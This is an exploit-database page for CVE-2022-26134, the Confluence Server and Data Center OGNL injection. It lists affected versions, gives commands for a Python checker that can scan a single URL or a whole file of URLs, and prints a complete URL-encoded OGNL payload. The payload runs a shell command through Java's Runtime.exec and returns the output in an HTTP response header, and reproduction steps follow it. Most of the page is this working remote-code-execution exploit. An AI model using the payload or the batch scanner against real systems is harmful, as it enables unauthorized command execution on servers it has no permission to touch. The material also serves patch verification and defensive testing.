## https://sploitus.com/exploit?id=AFDDFBE2-17E6-5231-9333-FAD2E18813C5
CVE-2022-26134 – Confluence OGNL injection vulnerability
# Script usage
Install the Python library
pip install -r requirements.txt
Vulnerability verification:
python3 CVE-2022-26134_check.py -u url -c whoami

Batch scanning:
python3 CVE-2022-26134_check.py -f url.txt -c whoami

# Affected versions
Confluence Server and Data Center >= 1.3.0
Confluence Server and Data Center < 7.4.17
Confluence Server and Data Center < 7.13.7
Confluence Server and Data Center < 7.14.3
Confluence Server and Data Center < 7.15.2
Confluence Server and Data Center < 7.16.4
Confluence Server and Data Center < 7.17.4
Confluence Server and Data Center < 7.18.1
# Vulnerability reproduction
Payload:
/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Qualys-Response%22%2C%23a%29%29%7D/
Access the Confluence service, capture a data packet with a return code of 302, send a packet containing the payload. The X-Qualys-Response parameter in the returned packet will contain the current server username.

# Vulnerability mechanism
The URI provided by the attacker will be converted into a namespace, and then that namespace will be evaluated using OGNL expressions (the attacker’s URL is indirectly converted into an OGNL expression for evaluation).